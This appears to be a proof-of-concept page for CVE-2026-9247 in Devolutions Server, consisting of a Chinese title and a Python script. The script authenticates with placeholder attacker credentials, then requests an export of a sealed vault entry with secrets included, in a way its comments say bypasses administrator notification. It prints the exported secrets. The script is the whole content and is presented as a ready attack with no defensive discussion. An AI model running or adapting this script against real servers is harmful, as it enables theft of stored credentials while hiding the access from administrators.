CVE-2026-9247: Devolutions Server导出功能日志不足漏洞

# CVE-2026-9247 PoC - Devolutions Server 密封条目导出绕过通知 # 需要认证和导出权限 import requests import json TARGET_URL = "https://target-server/api" USERNAME = "attacker" PASSWORD = "password" SEALED_ENTRY_ID = "target-sealed-entry-id" def authenticate(): """获取认证令牌""" response = requests.post( f"{TARGET_URL}/auth/login", json={"username": USERNAME, "password": PASSWORD} ) return response.json().get('token') def export_sealed_entry(token, entry_id): """导出密封条目（绕过通知机制）""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } payload = { "entry_ids": [entry_id], "export_format": "json", "include_secrets": True } # 关键：构造的导出请求不会触发管理员通知 response = requests.post( f"{TARGET_URL}/entries/export", headers=headers, json=payload ) return response.status_code, response.json() # 执行攻击 token = authenticate() status, result = export_sealed_entry(token, SEALED_ENTRY_ID) print(f"Status: {status}") print(f"Result: {result}")